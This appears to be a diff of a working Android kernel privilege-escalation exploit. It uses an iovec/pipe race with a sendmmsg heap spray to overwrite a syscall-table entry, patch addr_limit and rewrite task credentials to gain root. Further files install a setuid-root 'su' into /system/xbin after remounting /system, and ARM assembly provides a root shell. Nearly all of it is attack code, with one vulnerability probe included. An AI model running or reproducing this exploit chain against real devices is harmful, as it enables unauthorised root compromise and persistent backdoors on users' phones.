#define THREADINFO_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
//64bit structs according to sources from Z5 Lollipop 32.0.A.6.200
|
||||
//32bit structs according to sources from Z3C Lollipop 23.4.A.1.200
|
||||
|
||||
#if (__LP64__)
|
||||
#define KERNEL_START 0xffffffc000000000
|
||||
#define THREAD_SIZE 16384
|
||||
#else
|
||||
#define KERNEL_START 0xc0000000
|
||||
#define THREAD_SIZE 8192
|
||||
#endif
|
||||
|
||||
typedef unsigned int u32;
|
||||
struct task_struct;
|
||||
struct thread_info;
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next, *prev;
|
||||
};
|
||||
|
||||
static inline struct thread_info* get_thread_info(unsigned long sp)
|
||||
{
|
||||
return (struct thread_info*)(sp & ~(THREAD_SIZE - 1));
|
||||
}
|
||||
|
||||
static inline struct thread_info* current_thread_info()
|
||||
{
|
||||
register unsigned long sp asm ("sp");
|
||||
return get_thread_info(sp);
|
||||
}
|
||||
|
||||
static inline int is_cpu_timer_valid(struct list_head* cpu_timer)
|
||||
{
|
||||
if (cpu_timer->next != cpu_timer->prev)
|
||||
return 0;
|
||||
|
||||
if ((unsigned long)cpu_timer->next < KERNEL_START)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
int counter;
|
||||
} atomic_t;
|
||||
|
||||
typedef struct kernel_cap_struct {
|
||||
uint32_t cap[2];
|
||||
} kernel_cap_t;
|
||||
|
||||
struct task_security_struct {
|
||||
u32 osid; /* SID prior to last execve */
|
||||
u32 sid; /* current SID */
|
||||
u32 exec_sid; /* exec SID */
|
||||
u32 create_sid; /* fscreate SID */
|
||||
u32 keycreate_sid; /* keycreate SID */
|
||||
u32 sockcreate_sid; /* fscreate SID */
|
||||
};
|
||||
|
||||
struct task_struct_partial
|
||||
{
|
||||
/* ... */
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct cred {
|
||||
atomic_t usage;
|
||||
uid_t uid; /* real UID of the task */
|
||||
gid_t gid; /* real GID of the task */
|
||||
uid_t suid; /* saved UID of the task */
|
||||
gid_t sgid; /* saved GID of the task */
|
||||
uid_t euid; /* effective UID of the task */
|
||||
gid_t egid; /* effective GID of the task */
|
||||
uid_t fsuid; /* UID for VFS ops */
|
||||
gid_t fsgid; /* GID for VFS ops */
|
||||
unsigned securebits; /* SUID-less security management */
|
||||
kernel_cap_t cap_inheritable; /* caps our children can inherit */
|
||||
kernel_cap_t cap_permitted; /* caps we're permitted */
|
||||
kernel_cap_t cap_effective; /* caps we can actually use */
|
||||
kernel_cap_t cap_bset; /* capability bounding set */
|
||||
unsigned char jit_keyring; /* default keyring to attach requested
|
||||
* keys to */
|
||||
#if (__LP64__)
|
||||
void *session_keyring; /* keyring inherited over fork */
|
||||
void *process_keyring; /* keyring private to this process */
|
||||
void *thread_keyring; /* keyring private to this thread */
|
||||
void *request_key_auth; /* assumed request_key authority */
|
||||
#else
|
||||
void *thread_keyring; /* keyring private to this thread */
|
||||
void *request_key_auth; /* assumed request_key authority */
|
||||
void *tgcred; /* thread-group shared credentials */
|
||||
#endif
|
||||
struct task_security_struct *security; /* subjective LSM security */
|
||||
/* ... */
|
||||
};
|
||||
|
||||
#if (__LP64__)
|
||||
struct thread_info {
|
||||
unsigned long flags; /* low level flags */
|
||||
unsigned long addr_limit; /* address limit */
|
||||
struct task_struct *task; /* main task structure */
|
||||
/* ... */
|
||||
};
|
||||
#else
|
||||
struct thread_info
|
||||
{
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
/* ... */
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif /* THREADINFO_H */
|
||||
@@ -0,0 +1,16 @@
|
||||
#ifndef _EXP_IOV_H_
|
||||
#define _EXP_IOV_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
int iov_main(void);
|
||||
int iov_probe(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,438 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <netinet/ip.h>
|
||||
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/uio.h>
|
||||
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
|
||||
#ifndef PROBE_ONLY
|
||||
#include "getroot.h"
|
||||
#include "kallsyms.h"
|
||||
#include "exp_sys_call.h"
|
||||
#endif
|
||||
#include "log.h"
|
||||
|
||||
#ifndef F_SETPIPE_SZ
|
||||
#define F_SETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 7)
|
||||
#endif
|
||||
#ifndef F_GETPIPE_SZ
|
||||
#define F_GETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 8)
|
||||
#endif
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 4096
|
||||
#endif
|
||||
|
||||
#define WAIT_MAX_SECS 30
|
||||
|
||||
#define UDP_SERVER_PORT (5105)
|
||||
#define MEMMAGIC (0xDEADBEEF)
|
||||
//pipe buffers are seperated in pages
|
||||
#define PIPESZ (4096 * 32)
|
||||
#define IOVECS (512)
|
||||
#define SENDTHREADS (0xE0)
|
||||
#define MMAP_ADDR ((void*)0x40000000)
|
||||
#define MMAP_SIZE (PAGE_SIZE * 2)
|
||||
static volatile int kill_switch = 0;
|
||||
static volatile int stop_send = 0;
|
||||
static int pipefd[2];
|
||||
static struct iovec iovs[IOVECS];
|
||||
static volatile unsigned long overflowcheck = MEMMAGIC;
|
||||
|
||||
// #ifndef __aarch64__
|
||||
// struct mmsghdr {
|
||||
// struct msghdr msg_hdr;
|
||||
// unsigned int msg_len;
|
||||
// };
|
||||
// #endif
|
||||
|
||||
static void* readpipe(void* param)
|
||||
{
|
||||
while(!kill_switch)
|
||||
{
|
||||
readv((int)((long)param), iovs, ((IOVECS / 2) + 1));
|
||||
}
|
||||
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
static int startreadpipe()
|
||||
{
|
||||
int ret;
|
||||
pthread_t rthread;
|
||||
|
||||
// printf(" [+] Start read thread\n");
|
||||
if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0])))
|
||||
perror("read pthread_create()");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static char wbuf[4096];
|
||||
static void* writepipe(void* param)
|
||||
{
|
||||
while(!kill_switch)
|
||||
{
|
||||
if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf))
|
||||
perror("write()");
|
||||
}
|
||||
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
static int startwritepipe(long targetval)
|
||||
{
|
||||
int ret;
|
||||
unsigned int i;
|
||||
pthread_t wthread;
|
||||
|
||||
// printf(" [+] Start write thread\n");
|
||||
|
||||
for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++)
|
||||
((long*)wbuf)[i] = targetval;
|
||||
if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1])))
|
||||
perror("write pthread_create()");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static void* writemsg(void* param)
|
||||
{
|
||||
int sockfd;
|
||||
struct mmsghdr msg = {{ 0 }, 0 };
|
||||
struct sockaddr_in soaddr = { 0 };
|
||||
|
||||
(void)param; /* UNUSED */
|
||||
soaddr.sin_family = AF_INET;
|
||||
soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
soaddr.sin_port = htons(UDP_SERVER_PORT);
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1)
|
||||
{
|
||||
perror("socket client failed");
|
||||
pthread_exit((void*)-1);
|
||||
}
|
||||
|
||||
if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1)
|
||||
{
|
||||
perror("connect failed");
|
||||
pthread_exit((void*)-1);
|
||||
}
|
||||
|
||||
msg.msg_hdr.msg_iov = iovs;
|
||||
msg.msg_hdr.msg_iovlen = IOVECS;
|
||||
msg.msg_hdr.msg_control = iovs;
|
||||
msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec));
|
||||
|
||||
while(!stop_send)
|
||||
{
|
||||
syscall(__NR_sendmmsg, sockfd, &msg, 1, 0);
|
||||
// syscall(__NR_sendmsg, sockfd, &(msg.msg_hdr), 0);
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
static int heapspray(long* target)
|
||||
{
|
||||
unsigned int i;
|
||||
void* retval;
|
||||
pthread_t msgthreads[SENDTHREADS];
|
||||
|
||||
iovs[(IOVECS / 2) + 1].iov_base = (void*)&overflowcheck;
|
||||
iovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck);
|
||||
iovs[(IOVECS / 2) + 2].iov_base = target;
|
||||
iovs[(IOVECS / 2) + 2].iov_len = sizeof(*target);
|
||||
|
||||
for(i = 0; i < SENDTHREADS; i++)
|
||||
{
|
||||
int thread_error = pthread_create(&msgthreads[i], NULL, writemsg, NULL);
|
||||
if(thread_error)
|
||||
{
|
||||
printf("spray pthread_create failed at %u: %d\n", i,
|
||||
thread_error);
|
||||
stop_send = 1;
|
||||
while (i > 0)
|
||||
pthread_join(msgthreads[--i], &retval);
|
||||
stop_send = 0;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
sleep(2);
|
||||
stop_send = 1;
|
||||
for(i = 0; i < SENDTHREADS; i++)
|
||||
pthread_join(msgthreads[i], &retval);
|
||||
stop_send = 0;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void* mapunmap(void* param)
|
||||
{
|
||||
(void)param; /* UNUSED */
|
||||
while(!kill_switch)
|
||||
{
|
||||
munmap(MMAP_ADDR, MMAP_SIZE);
|
||||
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
|
||||
{
|
||||
perror("mmap() thread");
|
||||
exit(2);
|
||||
}
|
||||
usleep(50);
|
||||
}
|
||||
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
static int startmapunmap()
|
||||
{
|
||||
int ret;
|
||||
pthread_t mapthread;
|
||||
|
||||
if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL)))
|
||||
perror("mapunmap pthread_create()");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int initmappings()
|
||||
{
|
||||
memset(iovs, 0, sizeof(iovs));
|
||||
|
||||
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
|
||||
{
|
||||
perror("mmap()");
|
||||
return -ENOMEM;
|
||||
}
|
||||
|
||||
//just any buffer that is always available
|
||||
iovs[0].iov_base = &wbuf;
|
||||
//how many bytes we can arbitrary write
|
||||
iovs[0].iov_len = sizeof(long) * 2;
|
||||
|
||||
iovs[1].iov_base = MMAP_ADDR;
|
||||
//we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
|
||||
iovs[1].iov_len = ((PAGE_SIZE * 2) - iovs[0].iov_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int getpipes()
|
||||
{
|
||||
int ret;
|
||||
|
||||
if((ret = pipe(pipefd)))
|
||||
{
|
||||
perror("pipe()");
|
||||
return ret;
|
||||
}
|
||||
|
||||
ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1;
|
||||
if(ret)
|
||||
perror("fcntl()");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int setfdlimit()
|
||||
{
|
||||
struct rlimit rlim;
|
||||
int ret;
|
||||
if ((ret = getrlimit(RLIMIT_NOFILE, &rlim)))
|
||||
{
|
||||
perror("getrlimit()");
|
||||
return ret;
|
||||
}
|
||||
|
||||
rlim.rlim_cur = rlim.rlim_max;
|
||||
if((ret = setrlimit(RLIMIT_NOFILE, &rlim)))
|
||||
perror("setrlimit()");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int setprocesspriority()
|
||||
{
|
||||
int ret;
|
||||
|
||||
if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1)
|
||||
perror("setpriority()");
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int write_at_address(void* target, unsigned long targetval)
|
||||
{
|
||||
kill_switch = 0;
|
||||
overflowcheck = MEMMAGIC;
|
||||
int timeout;
|
||||
|
||||
if(startmapunmap())
|
||||
return 1;
|
||||
if(startwritepipe(targetval))
|
||||
return 1;
|
||||
if(heapspray(target))
|
||||
return 1;
|
||||
|
||||
sleep(1);
|
||||
|
||||
if(startreadpipe())
|
||||
return 1;
|
||||
|
||||
for (timeout = 0; timeout < WAIT_MAX_SECS; timeout++)
|
||||
{
|
||||
if(overflowcheck != MEMMAGIC)
|
||||
{
|
||||
LOGD(" [+] Done\n");
|
||||
kill_switch = 1;
|
||||
return 0;
|
||||
}
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
kill_switch = 1;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
#ifndef PROBE_ONLY
|
||||
__attribute__((naked, noinline))
|
||||
struct thread_info* patchaddrlimit(void)
|
||||
{
|
||||
/*
|
||||
* This function executes as the temporary syscall body. Keep it fully
|
||||
* self-contained: old kernel headers express current_thread_info() with
|
||||
* a register variable that modern Clang miscompiles at -O0.
|
||||
*
|
||||
* HP's ARMv7 kernel uses an 8 KiB kernel stack and TI_ADDR_LIMIT == 8.
|
||||
* r0 is both the computed thread_info pointer and the return value.
|
||||
*/
|
||||
__asm__ volatile(
|
||||
"mov r0, sp\n"
|
||||
"lsr r0, r0, #13\n"
|
||||
"lsl r0, r0, #13\n"
|
||||
"mvn r1, #0\n"
|
||||
"str r1, [r0, #8]\n"
|
||||
"bx lr\n");
|
||||
}
|
||||
|
||||
int getroot()
|
||||
{
|
||||
int ret = 1;
|
||||
struct thread_info* ti;
|
||||
unsigned long original_ni_syscall = 0;
|
||||
|
||||
unsigned long sys_call_table_base = get_sys_table_base();
|
||||
if(write_at_address((void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
|
||||
(unsigned long)&patchaddrlimit))
|
||||
return 1;
|
||||
|
||||
ti = (struct thread_info*)syscall(__NR_exp_);
|
||||
|
||||
if(ti == -1 || ti < KERNEL_START) {
|
||||
LOGD("syscall failed, errno:%d\n", errno);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Restore the table before touching credentials. Syscalls 222 and 223
|
||||
* are both sys_ni_syscall in this HP kernel tree, so entry 223 is a safe
|
||||
* authoritative source for the original pointer.
|
||||
*/
|
||||
if (read_at_address_pipe(
|
||||
(void *)(uintptr_t)(sys_call_table_base + (__NR_exp_ + 1) * 4),
|
||||
&original_ni_syscall, sizeof(original_ni_syscall)) ||
|
||||
write_at_address_pipe(
|
||||
(void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
|
||||
&original_ni_syscall, sizeof(original_ni_syscall))) {
|
||||
LOGD("failed to restore syscall 222\n");
|
||||
goto end;
|
||||
}
|
||||
LOGD("restored syscall 222 to 0x%08lx\n", original_ni_syscall);
|
||||
|
||||
if(modify_task_cred_uc(ti))
|
||||
goto end;
|
||||
|
||||
ret = 0;
|
||||
end:
|
||||
return ret;
|
||||
}
|
||||
|
||||
int iov_main()
|
||||
{
|
||||
unsigned int i;
|
||||
int ret = 1;
|
||||
|
||||
if(setfdlimit())
|
||||
return 1;
|
||||
// if(setprocesspriority())
|
||||
// return 1;
|
||||
if(getpipes())
|
||||
return 1;
|
||||
if(initmappings())
|
||||
return 1;
|
||||
|
||||
ret = getroot();
|
||||
//let the threads end
|
||||
if (ret != 0) {
|
||||
LOGD("iov ret:%d\n", ret);
|
||||
}
|
||||
sleep(2);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
if(getuid() == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Non-privileged vulnerability probe. It exercises the same iovec race as
|
||||
* the exploit, but both destinations are ordinary writable variables in this
|
||||
* process. It never supplies a kernel address and never modifies credentials.
|
||||
*/
|
||||
int iov_probe(void)
|
||||
{
|
||||
volatile unsigned long safe_target = MEMMAGIC;
|
||||
const unsigned long probe_value = 0x434F4445;
|
||||
int ret;
|
||||
|
||||
if (setfdlimit())
|
||||
return 2;
|
||||
if (getpipes())
|
||||
return 2;
|
||||
if (initmappings())
|
||||
return 2;
|
||||
|
||||
ret = write_at_address((void *)&safe_target, probe_value);
|
||||
sleep(1);
|
||||
kill_switch = 1;
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
printf("probe ret=%d overflowcheck=0x%08lx target=0x%08lx\n",
|
||||
ret, overflowcheck, safe_target);
|
||||
return (ret == 0 && overflowcheck == probe_value &&
|
||||
safe_target == probe_value) ? 0 : 1;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include "exp_iov.h"
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int rc = iov_main();
|
||||
printf("exploit rc=%d uid=%d gid=%d\n", rc, getuid(), getgid());
|
||||
if (rc != 0 || getuid() != 0)
|
||||
return 1;
|
||||
execl("/data/local/tmp/install-root", "install-root", (char *)0);
|
||||
perror("exec install-root");
|
||||
return 2;
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
#pragma once
|
||||
@@ -0,0 +1,71 @@
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int
|
||||
copy_file(const char *source, const char *destination)
|
||||
{
|
||||
char buffer[16384];
|
||||
int input = -1;
|
||||
int output = -1;
|
||||
int result = -1;
|
||||
ssize_t count;
|
||||
|
||||
input = open(source, O_RDONLY);
|
||||
if (input < 0)
|
||||
goto out;
|
||||
output = open(destination, O_WRONLY | O_CREAT | O_TRUNC, 0755);
|
||||
if (output < 0)
|
||||
goto out;
|
||||
|
||||
while ((count = read(input, buffer, sizeof(buffer))) > 0) {
|
||||
char *cursor = buffer;
|
||||
ssize_t remaining = count;
|
||||
while (remaining > 0) {
|
||||
ssize_t written = write(output, cursor, remaining);
|
||||
if (written <= 0)
|
||||
goto out;
|
||||
cursor += written;
|
||||
remaining -= written;
|
||||
}
|
||||
}
|
||||
if (count < 0 || fchown(output, 0, 0) != 0 ||
|
||||
fchmod(output, 06755) != 0 || fsync(output) != 0)
|
||||
goto out;
|
||||
result = 0;
|
||||
|
||||
out:
|
||||
if (output >= 0)
|
||||
close(output);
|
||||
if (input >= 0)
|
||||
close(input);
|
||||
return result;
|
||||
}
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
int result;
|
||||
|
||||
printf("installer uid=%d gid=%d\n", getuid(), getgid());
|
||||
if (getuid() != 0)
|
||||
return 2;
|
||||
|
||||
if (mount(NULL, "/system", NULL, MS_REMOUNT, NULL) != 0) {
|
||||
printf("remount-rw failed: %s\n", strerror(errno));
|
||||
return 3;
|
||||
}
|
||||
|
||||
result = copy_file("/data/local/tmp/rootsh-armv7", "/system/xbin/su");
|
||||
sync();
|
||||
if (mount(NULL, "/system", NULL, MS_REMOUNT | MS_RDONLY, NULL) != 0)
|
||||
printf("remount-ro warning: %s\n", strerror(errno));
|
||||
|
||||
printf("install-su %s\n", result == 0 ? "ok" : "failed");
|
||||
return result == 0 ? 0 : 4;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
.syntax unified
|
||||
.arm
|
||||
.section .text
|
||||
.global _start
|
||||
.type _start, %function
|
||||
_start:
|
||||
ldr r3, [sp] @ argc
|
||||
add r4, sp, #4 @ argv = &stack[1]
|
||||
add r5, r4, r3, lsl #2 @ envp = argv + argc
|
||||
add r5, r5, #4 @ skip argv terminator
|
||||
|
||||
mov r0, #0
|
||||
mov r1, #0
|
||||
mov r2, #0
|
||||
mov r7, #170 @ setresgid(0, 0, 0)
|
||||
svc #0
|
||||
|
||||
mov r0, #0
|
||||
mov r1, #0
|
||||
mov r2, #0
|
||||
mov r7, #164 @ setresuid(0, 0, 0)
|
||||
svc #0
|
||||
|
||||
adr r0, shell_path
|
||||
mov r1, r4
|
||||
mov r2, r5
|
||||
mov r7, #11 @ execve("/system/bin/sh", argv, envp)
|
||||
svc #0
|
||||
|
||||
mov r0, #127
|
||||
mov r7, #1 @ exit(127)
|
||||
svc #0
|
||||
|
||||
.align 2
|
||||
shell_path:
|
||||
.asciz "/system/bin/sh"
|
||||
.size _start, .-_start
|
||||
Reference in New Issue
Block a user